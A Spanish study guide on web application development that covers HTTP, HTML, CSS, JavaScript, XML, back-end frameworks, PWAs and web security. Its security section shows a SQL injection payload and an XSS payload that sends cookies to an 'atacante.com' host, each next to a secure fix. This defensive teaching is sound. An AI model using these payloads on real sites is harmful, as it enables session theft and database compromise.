TEMA 3: APLICACIONES WEB. DESARROLLO WEB FRONT-END Y EN SERVIDOR, MULTIPLATAFORMA Y MULTIDISPOSITIVO. LENGUAJES: HTML, XML Y SUS DERIVACIONES. NAVEGADORES Y LENGUAJES DE PROGRAMACIÓN WEB

[CLIENTE]                    [SERVIDOR]
Navegador  <--- HTTP/HTTPS --->  Servidor Web
           Petición (Request)
           Respuesta (Response)

[Cliente]  <-->  [Servidor de Datos]

[Capa Presentación]  <-->  [Capa Lógica de Negocio]  <-->  [Capa de Datos]
    (Front-End)                 (Back-End / API)               (BBDD)

GET    /usuarios          → Obtener lista de usuarios
GET    /usuarios/42       → Obtener usuario 42
POST   /usuarios          → Crear nuevo usuario
PUT    /usuarios/42       → Actualizar usuario 42 (completo)
PATCH  /usuarios/42       → Actualizar usuario 42 (parcial)
DELETE /usuarios/42       → Eliminar usuario 42

GET /pagina.html HTTP/1.1
Host: www.ejemplo.com
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml
Accept-Language: es-ES,es;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: sesion=abc123
Authorization: Bearer eyJhbGc...

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Date: Mon, 01 Jan 2025 12:00:00 GMT
Server: nginx/1.24
Cache-Control: max-age=3600
Set-Cookie: sesion=abc123; HttpOnly; Secure
ETag: "686897696a7c876b7e"
Last-Modified: Sun, 31 Dec 2024 18:00:00 GMT

Cliente                     Servidor
  |---ClientHello------------>|  (versiones TLS soportadas, cifrados, random)
  |<--ServerHello, Cert-------|  (versión elegida, certificado X.509)
  |---(verifica certificado)--|
  |---ClientKeyExchange------->|  (clave pre-maestra cifrada con clave pública)
  |<--Finished----------------|  (confirmación)
  |===DATOS CIFRADOS=========|

// Cliente WebSocket
const ws = new WebSocket('wss://ejemplo.com/socket');

ws.onopen = () => ws.send('Hola servidor');
ws.onmessage = (event) => console.log('Recibido:', event.data);
ws.onerror = (error) => console.error('Error:', error);
ws.onclose = () => console.log('Conexión cerrada');

https://usuario:clave@www.ejemplo.com:8080/ruta/recurso?param=valor&otro=2#seccion
│────┘  │──────────────────────────────┘ │────────────┘ │────────────────┘ │──────┘
Esquema         Autoridad                   Ruta          Query string      Fragmento

┌─────────────────────────────────────┐
│            APLICACIÓN WEB           │
│  ┌─────────┐ ┌──────┐ ┌──────────┐ │
│  │  HTML   │ │ CSS  │ │JavaScript│ │
│  │Estructura│ │Estilo│ │Comportam.│ │
│  └─────────┘ └──────┘ └──────────┘ │
└─────────────────────────────────────┘

┌────────────────────────────┐
│         MARGIN             │
│  ┌──────────────────────┐  │
│  │       BORDER         │  │
│  │  ┌────────────────┐  │  │
│  │  │    PADDING     │  │  │
│  │  │  ┌──────────┐  │  │  │
│  │  │  │ CONTENT  │  │  │  │
│  │  │  └──────────┘  │  │  │
│  │  └────────────────┘  │  │
│  └──────────────────────┘  │
└────────────────────────────┘

/* Especificidad: (0,0,0,1) */
p { color: black; }

/* Especificidad: (0,0,1,0) */
.parrafo { color: blue; }

/* Especificidad: (0,1,0,0) */
#principal { color: red; }

/* Especificidad: (1,0,0,0) - gana siempre */
style="color: green"

.contenedor {
  display: flex;
  flex-direction: row;      /* row | column | row-reverse | column-reverse */
  justify-content: center;  /* alineación eje principal */
  align-items: center;      /* alineación eje secundario */
  flex-wrap: wrap;
  gap: 16px;
}
.item {
  flex: 1 1 auto; /* flex-grow flex-shrink flex-basis */
  order: 2;
  align-self: flex-start;
}

.contenedor {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: auto;
  gap: 16px;
  grid-template-areas:
    "header header header"
    "sidebar main   main"
    "footer footer footer";
}
.header { grid-area: header; }

:root {
    --color-primario: #2196f3;
    --fuente-base: 16px;
    --radio-borde: 8px;
}
.boton {
    background: var(--color-primario);
    font-size: var(--fuente-base);
    border-radius: var(--radio-borde);
}

// Selección de elementos
const elemento = document.getElementById('miId');
const elementos = document.querySelectorAll('.miClase');
const primero = document.querySelector('nav a');

// Manipulación del DOM
elemento.innerHTML = '<strong>Nuevo contenido</strong>';
elemento.textContent = 'Texto seguro (no interpreta HTML)';
elemento.classList.add('activo');
elemento.classList.toggle('visible');
elemento.setAttribute('data-id', '42');
elemento.style.color = 'red';

// Creación y eliminación de elementos
const nuevoDiv = document.createElement('div');
nuevoDiv.textContent = 'Hola mundo';
document.body.appendChild(nuevoDiv);
elemento.remove();

// window - objeto global
window.location.href = 'https://ejemplo.com'; // Navegar
window.history.back();                         // Historial
window.navigator.userAgent;                    // Info del navegador
window.screen.width;                           // Tamaño de pantalla
window.innerWidth;                             // Tamaño del viewport
window.setTimeout(() => {}, 1000);             // Temporizador
window.alert('Mensaje');                       // Diálogo

// addEventListener (forma moderna, recomendada)
boton.addEventListener('click', function(evento) {
    console.log('Clic detectado');
    evento.preventDefault();  // Prevenir comportamiento por defecto
    evento.stopPropagation(); // Detener propagación (bubbling)
});

// Delegación de eventos (eficiente para listas dinámicas)
document.addEventListener('click', function(e) {
    if (e.target.matches('.boton')) {
        // Manejador para cualquier .boton, incluso los añadidos dinámicamente
    }
});

// Eventos comunes: click, dblclick, mouseover, mouseout, keydown, keyup,
// submit, change, input, focus, blur, load, resize, scroll, DOMContentLoaded

┌────────────────────┐
│    Call Stack      │  ← Ejecuta código síncrono
├────────────────────┤
│  Web APIs          │  ← setTimeout, fetch, eventos (fuera del hilo JS)
├────────────────────┤
│  Task Queue        │  ← Callbacks de macrotareas (setTimeout, eventos)
├────────────────────┤
│  Microtask Queue   │  ← Promesas (.then), queueMicrotask (prioridad alta)
└────────────────────┘
Event Loop: cuando el Call Stack está vacío, procesa primero microtareas, luego macrotareas

// XMLHttpRequest (tradicional, compatibilidad máxima)
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.ejemplo.com/datos');
xhr.onload = () => {
    if (xhr.status === 200) console.log(JSON.parse(xhr.responseText));
};
xhr.send();

// Fetch API (moderno, basado en Promesas)
fetch('https://api.ejemplo.com/datos')
  .then(response => {
      if (!response.ok) throw new Error(`HTTP error: ${response.status}`);
      return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('Error:', error));

// Async/Await (más legible)
async function obtenerDatos() {
    try {
        const respuesta = await fetch('https://api.ejemplo.com/datos');
        const datos = await respuesta.json();
        return datos;
    } catch (error) {
        console.error('Error:', error);
    }
}

// localStorage (persiste al cerrar el navegador)
localStorage.setItem('usuario', JSON.stringify({ nombre: 'Ana' }));
const usuario = JSON.parse(localStorage.getItem('usuario'));
localStorage.removeItem('usuario');
localStorage.clear();

// sessionStorage (se borra al cerrar la pestaña)
sessionStorage.setItem('temporal', 'valor');

[Petición HTTP]
       ↓
[Servidor Web]        → Nginx, Apache, IIS  (gestiona conexiones HTTP)
       ↓
[Servidor de App]     → Node.js, Tomcat, Gunicorn  (ejecuta el código)
       ↓
[Lógica de Negocio]   → PHP, Java, Python, .NET
       ↓
[Capa de Acceso a Datos]  → ORM, DAL
       ↓
[Base de Datos]       → MySQL, PostgreSQL, MongoDB

<?php
$nombre = $_GET['nombre'] ?? 'Mundo';
echo "<h1>Hola, " . htmlspecialchars($nombre) . "!</h1>";

$pdo = new PDO('mysql:host=localhost;dbname=midb', 'usuario', 'clave');
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE id = ?');
$stmt->execute([$id]);
$usuario = $stmt->fetch(PDO::FETCH_ASSOC);
?>

const express = require('express');
const app = express();
app.use(express.json());

app.get('/usuarios', async (req, res) => {
    const usuarios = await db.query('SELECT * FROM usuarios');
    res.json(usuarios);
});
app.listen(3000, () => console.log('Servidor en puerto 3000'));

from flask import Flask, jsonify
app = Flask(__name__)

@app.route('/usuarios')
def obtener_usuarios():
    return jsonify([{'id': 1, 'nombre': 'Ana'}])

if __name__ == '__main__':
    app.run(debug=True)

         ┌──────── Usuario ────────┐
         ↓                         ↑
    [Controlador] ──→ [Modelo] ──→ [Vista]
    (Lógica de       (Datos y       (Presentación
     control)         reglas)        al usuario)

/* Mobile First approach (recomendado) */
.contenedor { width: 100%; padding: 10px; }

/* Tablets (≥768px) */
@media (min-width: 768px) {
    .contenedor { max-width: 750px; margin: 0 auto; }
}

/* Escritorio (≥1200px) */
@media (min-width: 1200px) {
    .contenedor { max-width: 1170px; }
}

/* Orientación */
@media (orientation: landscape) { ... }

/* Modo oscuro */
@media (prefers-color-scheme: dark) { ... }

/* Reducción de movimiento (accesibilidad) */
@media (prefers-reduced-motion: reduce) {
    * { animation-duration: 0.01ms !important; }
}

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<img src="imagen-400.jpg"
     srcset="imagen-400.jpg 400w, imagen-800.jpg 800w, imagen-1200.jpg 1200w"
     sizes="(max-width: 600px) 100vw, 50vw"
     alt="Imagen responsiva" loading="lazy">

<picture>
    <source media="(min-width: 800px)" srcset="imagen-desktop.webp" type="image/webp">
    <source media="(min-width: 800px)" srcset="imagen-desktop.jpg">
    <img src="imagen-movil.jpg" alt="Imagen">
</picture>

// manifest.webmanifest
{
  "name": "Mi Aplicación",
  "short_name": "MiApp",
  "start_url": "/",
  "display": "standalone",
  "background_color": "#ffffff",
  "theme_color": "#2196f3",
  "icons": [
    { "src": "icon-192.png", "sizes": "192x192", "type": "image/png" },
    { "src": "icon-512.png", "sizes": "512x512", "type": "image/png" }
  ]
}

// sw.js
const CACHE_NAME = 'v1';
const URLS_TO_CACHE = ['/', '/styles.css', '/app.js'];

self.addEventListener('install', event => {
    event.waitUntil(
        caches.open(CACHE_NAME).then(cache => cache.addAll(URLS_TO_CACHE))
    );
});

self.addEventListener('fetch', event => {
    event.respondWith(
        caches.match(event.request).then(response => response || fetch(event.request))
    );
});

<!-- Buenas prácticas de accesibilidad -->
<html lang="es">
<img src="logo.png" alt="Logo de la empresa">
<button aria-label="Cerrar diálogo" type="button">×</button>
<nav aria-label="Menú principal">
    <ul role="list">
        <li><a href="/inicio" aria-current="page">Inicio</a></li>
    </ul>
</nav>
<input type="email" id="email" aria-describedby="email-error" aria-required="true">
<span id="email-error" role="alert">Email inválido</span>
<div role="dialog" aria-modal="true" aria-labelledby="dialog-title">...</div>

<!DOCTYPE html>
<!-- DOCTYPE indica al navegador que use el modo estándar HTML5 -->
<html lang="es">
<head>
    <!-- Metadatos: no visibles en la página -->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Descripción de la página para SEO">
    <meta name="author" content="Autor">
    <meta name="robots" content="index, follow">
    <!-- Open Graph para redes sociales -->
    <meta property="og:title" content="Título">
    <meta property="og:image" content="imagen.jpg">
    <title>Título de la Página</title>
    <link rel="stylesheet" href="estilos.css">
    <link rel="icon" href="favicon.ico" type="image/x-icon">
    <link rel="canonical" href="https://ejemplo.com/pagina">
</head>
<body>
    <header>
        <nav aria-label="Navegación principal">...</nav>
    </header>
    <main>
        <article>
            <h1>Título principal</h1>
            <section>...</section>
        </article>
        <aside>...</aside>
    </main>
    <footer>...</footer>
    <!-- Scripts al final del body para no bloquear renderizado -->
    <script src="script.js" defer></script>
</body>
</html>

<form action="/procesar" method="POST" enctype="multipart/form-data" novalidate>
    <!-- Nuevos tipos de input HTML5 -->
    <input type="email"    placeholder="email@ejemplo.com" required autocomplete="email">
    <input type="url"      placeholder="https://...">
    <input type="tel"      placeholder="600 000 000">
    <input type="number"   min="0" max="100" step="5">
    <input type="range"    min="0" max="100" value="50">
    <input type="date">
    <input type="time">
    <input type="datetime-local">
    <input type="month">
    <input type="week">
    <input type="color">
    <input type="search"   placeholder="Buscar...">
    <input type="file"     accept=".pdf,.docx" multiple>

    <!-- Atributos de validación -->
    <input type="text" required minlength="3" maxlength="50"
           pattern="[A-Za-zÁÉÍÓÚáéíóúñÑ ]+" title="Solo letras y espacios">

    <!-- Datalist (autocompletar) -->
    <input list="navegadores" name="navegador">
    <datalist id="navegadores">
        <option value="Chrome"><option value="Firefox"><option value="Safari">
    </datalist>

    <!-- Fieldset y legend -->
    <fieldset>
        <legend>Datos personales</legend>
        <label for="nombre">Nombre:</label>
        <input type="text" id="nombre" name="nombre" required>
    </fieldset>

    <!-- Select múltiple -->
    <select name="opciones" multiple size="4">
        <optgroup label="Grupo 1">
            <option value="a">Opción A</option>
        </optgroup>
    </select>

    <button type="submit">Enviar</button>
    <button type="reset">Limpiar</button>
</form>

<!-- Vídeo -->
<video width="640" height="360" controls autoplay muted loop poster="miniatura.jpg"
       preload="metadata">
    <source src="video.mp4" type="video/mp4">
    <source src="video.webm" type="video/webm">
    <track src="subtitulos.vtt" kind="subtitles" srclang="es" label="Español" default>
    <p>Tu navegador no soporta HTML5 video.</p>
</video>

<!-- Audio -->
<audio controls preload="none">
    <source src="audio.mp3" type="audio/mpeg">
    <source src="audio.ogg" type="audio/ogg">
</audio>

<!-- Canvas (gráficos 2D/3D mediante JavaScript) -->
<canvas id="miCanvas" width="500" height="300" aria-label="Gráfico de barras"></canvas>

<!-- SVG inline -->
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Círculo azul">
    <circle cx="50" cy="50" r="40" fill="blue"/>
    <text x="25" y="55" fill="white" font-size="14">SVG</text>
</svg>

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Prólogo: declaración XML obligatoria -->
<!-- Comentario XML -->
<!DOCTYPE biblioteca SYSTEM "biblioteca.dtd">

<biblioteca xmlns="http://ejemplo.com/biblioteca"
            xmlns:lib="http://ejemplo.com/lib">
    <!-- Elemento raíz único -->
    <libro id="001" disponible="true">
        <titulo lang="es">Don Quijote de la Mancha</titulo>
        <autor>
            <nombre>Miguel</nombre>
            <apellidos>de Cervantes Saavedra</apellidos>
        </autor>
        <anio>1605</anio>
        <isbn>978-84-376-0494-7</isbn>
        <!-- CDATA: contenido que no se interpreta como XML -->
        <descripcion><![CDATA[Primera parte: "El ingenioso hidalgo Don Quijote..."
        Contiene caracteres especiales: < > & ]]></descripcion>
        <precio moneda="EUR">12.50</precio>
    </libro>
</biblioteca>

<!-- DTD interna -->
<!DOCTYPE biblioteca [
    <!ELEMENT biblioteca (libro+)>
    <!ELEMENT libro (titulo, autor, anio, isbn?)>
    <!ATTLIST libro
        id         ID              #REQUIRED
        disponible (true|false)    "true">
    <!ELEMENT titulo (#PCDATA)>
    <!ELEMENT autor  (nombre, apellidos)>
    <!ELEMENT nombre (#PCDATA)>
    <!ELEMENT apellidos (#PCDATA)>
    <!ELEMENT anio   (#PCDATA)>
    <!ELEMENT isbn   (#PCDATA)>
]>

<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
           targetNamespace="http://ejemplo.com/biblioteca"
           xmlns:bib="http://ejemplo.com/biblioteca"
           elementFormDefault="qualified">

    <xs:element name="biblioteca">
        <xs:complexType>
            <xs:sequence>
                <xs:element name="libro" type="bib:TipoLibro"
                            minOccurs="1" maxOccurs="unbounded"/>
            </xs:sequence>
        </xs:complexType>
    </xs:element>

    <xs:complexType name="TipoLibro">
        <xs:sequence>
            <xs:element name="titulo" type="xs:string"/>
            <xs:element name="autor" type="xs:string"/>
            <xs:element name="anio" type="xs:gYear"/>
            <xs:element name="isbn" type="xs:string" minOccurs="0"/>
            <xs:element name="precio" type="bib:TipoPrecio"/>
        </xs:sequence>
        <xs:attribute name="id" type="xs:ID" use="required"/>
        <xs:attribute name="disponible" type="xs:boolean" default="true"/>
    </xs:complexType>

    <xs:complexType name="TipoPrecio">
        <xs:simpleContent>
            <xs:extension base="xs:decimal">
                <xs:attribute name="moneda" type="xs:string" use="required"/>
            </xs:extension>
        </xs:simpleContent>
    </xs:complexType>
</xs:schema>

<root xmlns:h="http://www.w3.org/TR/html4/"
      xmlns:svg="http://www.w3.org/2000/svg">
    <h:table>
        <h:tr><h:td>Celda HTML</h:td></h:tr>
    </h:table>
    <svg:svg>
        <svg:rect width="100" height="100"/>
    </svg:svg>
</root>

/biblioteca/libro                        → Todos los libros (hijos directos de biblioteca)
//titulo                                 → Todos los <titulo> en cualquier nivel
/biblioteca/libro[@disponible='true']    → Libros con atributo disponible=true
/biblioteca/libro[1]                     → Primer libro
/biblioteca/libro[last()]                → Último libro
/biblioteca/libro[anio > 1900]           → Libros con año > 1900
//libro/titulo | //libro/autor           → Unión de nodos
count(//libro)                           → Número total de libros
string(//libro[1]/titulo)                → Texto del título del primer libro

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

    <!-- Plantilla principal -->
    <xsl:template match="/">
        <html>
        <body>
            <h1>Catálogo de Libros</h1>
            <table border="1">
                <tr><th>Título</th><th>Autor</th><th>Año</th></tr>
                <!-- Iteración y ordenación -->
                <xsl:for-each select="biblioteca/libro">
                    <xsl:sort select="titulo"/>
                    <tr>
                        <td><xsl:value-of select="titulo"/></td>
                        <td><xsl:value-of select="autor"/></td>
                        <td><xsl:value-of select="anio"/></td>
                    </tr>
                </xsl:for-each>
            </table>
            <!-- Condicional -->
            <xsl:if test="count(//libro) > 0">
                <p>Total: <xsl:value-of select="count(//libro)"/> libros</p>
            </xsl:if>
        </body>
        </html>
    </xsl:template>
</xsl:stylesheet>

for $libro in doc("biblioteca.xml")//libro
where $libro/anio > 1900
order by $libro/titulo ascending
return <resultado>{ $libro/titulo, $libro/autor }</resultado>

{
    "biblioteca": {
        "libros": [
            {
                "id": "001",
                "titulo": "Don Quijote de la Mancha",
                "autor": { "nombre": "Miguel", "apellidos": "de Cervantes" },
                "anio": 1605,
                "disponible": true,
                "isbn": null,
                "generos": ["novela", "picaresca", "aventuras"]
            }
        ]
    }
}

URL ingresada
    ↓
1. DNS Resolution → IP del servidor
    ↓
2. TCP Connection + TLS Handshake (HTTPS)
    ↓
3. HTTP Request → Servidor
    ↓
4. HTTP Response ← HTML, cabeceras
    ↓
5. PARSING HTML → DOM Tree
   (Bloqueo si encuentra <script> sin defer/async)
    ↓
6. PARSING CSS → CSSOM Tree
    ↓
7. JavaScript Engine → Ejecuta JS, puede modificar DOM/CSSOM
    ↓
8. Render Tree = DOM + CSSOM (solo nodos visibles)
    ↓
9. Layout (Reflow) → Calcula posición y tamaño de cada nodo
    ↓
10. Paint → Dibuja píxeles en capas
    ↓
11. Composite → Combina capas → Muestra en pantalla

Access-Control-Allow-Origin: https://miapp.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type

// ===== VARIABLES =====
var x = 1;    // Función-scoped, hoisting (evitar)
let y = 2;    // Bloque-scoped, no hoisting
const Z = 3;  // Bloque-scoped, inmutable (la referencia, no el objeto)

// ===== DESESTRUCTURACIÓN =====
const { nombre, edad, ciudad = 'Madrid' } = usuario;
const [primero, segundo, ...resto] = array;

// ===== TEMPLATE LITERALS =====
const mensaje = `Hola, ${nombre}. Tienes ${edad} años.`;
const multilinea = `
  Primera línea
  Segunda línea
`;

// ===== ARROW FUNCTIONS =====
const suma = (a, b) => a + b;
const cuadrados = numeros.map(n => n ** 2);
// Nota: las arrow functions NO tienen su propio 'this'

// ===== SPREAD / REST =====
const fusionado = { ...obj1, ...obj2, extra: 'valor' };
const copia = [...array1, ...array2];
function suma(...numeros) { return numeros.reduce((a, b) => a + b, 0); }

// ===== CLASES =====
class Animal {
    #nombre; // Propiedad privada (ES2022)
    static contador = 0; // Propiedad estática

    constructor(nombre) {
        this.#nombre = nombre;
        Animal.contador++;
    }

    get nombre() { return this.#nombre; }
    set nombre(val) { this.#nombre = val; }

    hablar() { return `${this.#nombre} hace un sonido`; }

    static crearAnimal(nombre) { return new Animal(nombre); }
}

class Perro extends Animal {
    constructor(nombre, raza) {
        super(nombre);
        this.raza = raza;
    }
    hablar() { return `${this.nombre} ladra`; }
}

// ===== MÓDULOS ES6 =====
// modulo.js
export const PI = 3.14159;
export function calcularArea(r) { return PI * r * r; }
export default class MiClase {}

// main.js
import MiClase, { PI, calcularArea } from './modulo.js';
import * as Modulo from './modulo.js';
const { calcularArea: area } = await import('./modulo.js'); // Import dinámico

// ===== PROMESAS =====
const promise = new Promise((resolve, reject) => {
    setTimeout(() => resolve('Datos'), 1000);
});

promise
    .then(datos => procesarDatos(datos))
    .catch(error => console.error(error))
    .finally(() => console.log('Finalizado'));

// Promise combinators
Promise.all([p1, p2, p3]);          // Falla si alguna falla
Promise.allSettled([p1, p2, p3]);   // Espera todas, sea cual sea el resultado
Promise.race([p1, p2, p3]);         // Resuelve con la primera (éxito o error)
Promise.any([p1, p2, p3]);          // Resuelve con la primera exitosa

// ===== ASYNC/AWAIT =====
async function cargarDatos() {
    try {
        const [usuarios, productos] = await Promise.all([
            fetch('/api/usuarios').then(r => r.json()),
            fetch('/api/productos').then(r => r.json())
        ]);
        return { usuarios, productos };
    } catch (err) {
        throw new Error(`Error al cargar: ${err.message}`);
    }
}

// ===== OPTIONAL CHAINING Y NULLISH COALESCING =====
const ciudad = usuario?.direccion?.ciudad ?? 'No especificada';
const longitud = array?.length ?? 0;
objeto?.metodo?.();  // Llama al método solo si existe

// Tipos básicos
let nombre: string = 'Ana';
let edad: number = 30;
let activo: boolean = true;
let datos: unknown = 'seguro'; // Mejor que any

// Interfaces
interface Usuario {
    id: number;
    nombre: string;
    email?: string;          // Opcional
    readonly creado: Date;   // Solo lectura
}

// Types (tipo alias)
type ID = string | number;   // Unión
type AdminUser = Usuario & { permisos: string[] }; // Intersección
type Status = 'activo' | 'inactivo' | 'pendiente'; // Literal

// Genéricos
function primero<T>(array: T[]): T | undefined {
    return array[0];
}

// Enums
enum Estado { Activo = 'activo', Inactivo = 'inactivo' }

// Utility Types
type Partial<T>  // Todos los campos opcionales
type Required<T> // Todos los campos obligatorios
type Readonly<T> // Todos los campos de solo lectura
type Pick<T, K>  // Subconjunto de propiedades
type Omit<T, K>  // Excluye propiedades

/* Selectores avanzados */
a:hover { color: blue; }                  /* Pseudoclase */
p::first-line { font-weight: bold; }      /* Pseudoelemento */
div > p { color: red; }                   /* Hijo directo */
h1 + p { margin-top: 0; }                /* Hermano adyacente */
h1 ~ p { margin-top: 0; }                /* Hermanos generales */
[data-activo="true"] { display: block; } /* Atributo */
:is(h1, h2, h3) { color: navy; }         /* Pseudoclase funcional */
:not(.excluido) { opacity: 1; }          /* Negación */

/* Animaciones y transiciones */
@keyframes deslizar {
    from { transform: translateX(-100%); opacity: 0; }
    to   { transform: translateX(0); opacity: 1; }
}
.elemento { animation: deslizar 0.3s ease-out forwards; }
.boton { transition: background-color 0.2s ease, transform 0.1s; }
.boton:hover { transform: scale(1.05); }

/* Consultas de contenedor (CSS Container Queries, nuevo) */
@container sidebar (min-width: 400px) {
    .card { display: grid; }
}

<?php
declare(strict_types=1);

// Tipos y estructuras
$array = [1, 2, 3];
$asociativo = ['nombre' => 'Ana', 'edad' => 30];

// Funciones con tipos (PHP 8)
function saludar(string $nombre, string $saludo = 'Hola'): string {
    return "$saludo, $nombre!";
}

// Clases y OOP
class Producto {
    public function __construct(
        private string $nombre,
        private float $precio
    ) {}  // Constructor promotion (PHP 8)

    public function getPrecio(): float { return $this->precio; }
    public function aplicarDescuento(float $pct): static {
        $this->precio *= (1 - $pct / 100);
        return $this; // Method chaining
    }
}

// Named arguments, match expression (PHP 8)
$resultado = match(true) {
    $precio > 100 => 'caro',
    $precio > 50  => 'normal',
    default       => 'barato',
};

// Nullsafe operator
$ciudad = $usuario?->getDireccion()?->getCiudad();

// Traits
trait Serializable {
    public function toJSON(): string { return json_encode($this); }
}
?>

# Django ORM
from django.db import models

class Articulo(models.Model):
    titulo    = models.CharField(max_length=200)
    contenido = models.TextField()
    publicado = models.DateTimeField(auto_now_add=True)
    activo    = models.BooleanField(default=True)

    class Meta:
        ordering = ['-publicado']

    def __str__(self):
        return self.titulo

# FastAPI (moderno, async, tipado)
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()

class Item(BaseModel):
    nombre: str
    precio: float

@app.get("/items/{item_id}")
async def read_item(item_id: int, q: str | None = None):
    return {"item_id": item_id, "q": q}

@app.post("/items/", response_model=Item)
async def create_item(item: Item):
    return item

import { useState, useEffect, useCallback } from 'react';

function ListaUsuarios() {
    const [usuarios, setUsuarios] = useState([]);
    const [cargando, setCargando] = useState(true);
    const [error, setError] = useState(null);

    useEffect(() => {
        fetch('/api/usuarios')
            .then(r => { if (!r.ok) throw new Error('Error'); return r.json(); })
            .then(data => { setUsuarios(data); setCargando(false); })
            .catch(err => { setError(err.message); setCargando(false); });
    }, []);

    if (cargando) return <p>Cargando...</p>;
    if (error) return <p>Error: {error}</p>;

    return (
        <ul>
            {usuarios.map(u => <li key={u.id}>{u.nombre}</li>)}
        </ul>
    );
}
export default ListaUsuarios;

git init                          # Inicializar repositorio
git clone https://...             # Clonar repositorio remoto
git add .                         # Añadir al staging area
git commit -m "feat: añadir login" # Confirmar cambios (Conventional Commits)
git push origin main              # Subir al remoto
git pull origin main              # Bajar y fusionar cambios
git branch feature/nueva-funcion  # Crear rama
git checkout -b hotfix/bug-42     # Crear y cambiar a rama
git merge feature/nueva-funcion   # Fusionar rama
git rebase main                   # Reorganizar historial
git log --oneline --graph         # Ver historial con grafo
git stash                         # Guardar cambios temporalmente
git tag v1.0.0                    # Etiquetar versión

// JavaScript dinámico bajo demanda
const modulo = await import('./modulo-pesado.js');

// React lazy loading
const MiComponente = React.lazy(() => import('./MiComponente'));

// ❌ VULNERABLE
$query = "SELECT * FROM users WHERE user = '$usuario' AND pass = '$clave'";
// Payload: usuario = ' OR '1'='1' --

// ✅ SEGURO: Prepared Statements (PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE user = ? AND pass = ?');
$stmt->execute([$usuario, hash('sha256', $clave)]);

// ❌ VULNERABLE
echo "<p>" . $_GET['nombre'] . "</p>";
// Payload: <script>document.location='http://atacante.com/steal?c='+document.cookie</script>

// ✅ SEGURO
echo "<p>" . htmlspecialchars($_GET['nombre'], ENT_QUOTES, 'UTF-8') . "</p>";

Content-Security-Policy: default-src 'self'; script-src 'self' cdn.ejemplo.com; img-src *

<!-- Token anti-CSRF en formularios -->
<form method="POST" action="/transferir">
    <input type="hidden" name="csrf_token" value="<?= bin2hex(random_bytes(32)) ?>">
</form>

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiaWF0IjoxNjE2MjM5MDIyfQ.SflKxwR...
│─────────────────────────────────────┘ │────────────────────────────────────────────┘ │──────┘
               Header (Base64URL)                    Payload (Base64URL)               Signature

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.ejemplo.com
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=()

// PHP - bcrypt
$hash = password_hash($clave, PASSWORD_BCRYPT, ['cost' => 12]);
$ok   = password_verify($clave, $hash);

// Python - Argon2
from argon2 import PasswordHasher
ph = PasswordHasher()
hash = ph.hash("contraseña")
ph.verify(hash, "contraseña")

# Dockerfile para app Node.js
FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
EXPOSE 3000
CMD ["node", "server.js"]

# docker-compose.yml
services:
  web:
    build: .
    ports: ["3000:3000"]
    depends_on: [db]
  db:
    image: postgres:16
    environment:
      POSTGRES_PASSWORD: secreto

# GitHub Actions (ejemplo CI/CD)
name: CI/CD Pipeline
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '20' }
      - run: npm ci
      - run: npm test
      - run: npm run build

TEMA 3: APLICACIONES WEB
│
├── DEFINICIÓN: Programas ejecutados en servidor, accedidos via navegador
│
├── ARQUITECTURAS
│   ├── 2 capas: cliente + servidor datos
│   ├── 3 capas: presentación + negocio + datos ← ESTÁNDAR
│   ├── Microservicios: servicios independientes, APIs REST/eventos
│   ├── SOA: servicios con ESB, SOAP/WSDL
│   └── Serverless / JAMstack / PWA
│
├── PROTOCOLOS
│   ├── HTTP/1.1, HTTP/2 (multiplexación), HTTP/3 (QUIC/UDP)
│   ├── HTTPS: HTTP + TLS/SSL (certificados X.509)
│   ├── Métodos: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
│   ├── Códigos: 2xx éxito, 3xx redirección, 4xx error cliente, 5xx error servidor
│   └── WebSockets: canal bidireccional persistente
│
├── FRONT-END (lado cliente, ejecutado en navegador)
│   ├── HTML → estructura y semántica
│   ├── CSS → presentación, maquetación (Flexbox, Grid)
│   └── JavaScript → comportamiento, DOM, eventos, AJAX/Fetch
│
├── BACK-END (lado servidor, no visible al cliente)
│   ├── Servidores web: Nginx (~34%), Apache (~31%), IIS, LiteSpeed
│   ├── Lenguajes: PHP, Node.js, Python, Java, C#/ASP.NET
│   ├── Patrón MVC: Modelo + Vista + Controlador
│   └── BBDD: Relacionales (SQL, ACID) y NoSQL (documentos, clave-valor, grafo)
│
├── MULTIPLATAFORMA / MULTIDISPOSITIVO
│   ├── Responsive Design: media queries, viewport, imágenes responsivas
│   ├── Mobile First: diseño desde móvil hacia arriba
│   ├── PWA: Service Worker + Manifest + HTTPS
│   └── Accesibilidad WCAG 2.2 (A/AA/AAA) — RD 1112/2018 en España
│
├── HTML
│   ├── Versiones: HTML 1.0 (1991) → HTML 4.01 → XHTML → HTML5 (2014) → Living Standard
│   ├── Mantenido por WHATWG (acuerdo con W3C, 2019)
│   ├── Elementos semánticos: header, nav, main, article, section, aside, footer
│   ├── Formularios: tipos de input, validación nativa, fieldset/legend
│   ├── Multimedia: video, audio, canvas, SVG
